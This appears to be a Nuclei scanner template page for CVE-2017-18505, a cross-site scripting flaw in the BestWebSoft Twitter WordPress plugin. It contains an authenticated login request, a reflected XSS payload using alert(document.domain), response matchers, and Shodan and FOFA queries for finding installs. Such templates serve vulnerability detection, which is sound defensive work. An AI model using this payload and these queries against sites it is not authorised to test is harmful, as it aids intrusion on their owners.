BestWebSoft's Twitter < 2.55 - Cross-Site Scripting

ID: CVE-2017-18505

Severity: medium

Author: luisfelipe146

Tags: cve,cve2017,wordpress,wpscan,bws-twitter,wp-plugin,xss,authenticated,bestwebsoft

Description

The twitter-plugin plugin before 2.55 for WordPress has XSS.

YAML Source

id: CVE-2017-18505

info:
  name: BestWebSoft's Twitter < 2.55 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The twitter-plugin plugin before 2.55 for WordPress has XSS.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18505
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18505
    - https://wordpress.org/plugins/twitter-plugin/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18505
    cwe-id: CWE-79
    epss-score: 0.00163
    epss-percentile: 0.51969
    cpe: cpe:2.3:a:bestwebsoft:twitter_button:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: twitter_button
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/twitter-plugin/
    fofa-query: body=/wp-content/plugins/twitter-plugin/
    publicwww-query: "/wp-content/plugins/twitter-plugin/"
  tags: cve,cve2017,wordpress,wpscan,bws-twitter,wp-plugin,xss,authenticated,bestwebsoft

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/twitter-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Twitter Button by")'
        condition: and
# digest: 4a0a0047304502204620cff5333e1133aa8996cfa2201d2d73af321d9d88405a4969bab78dfae188022100e58d3bc371446d5942db4b1de9193bc78f9fde28af12b8556f8ea14452764f2b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18505.yaml"

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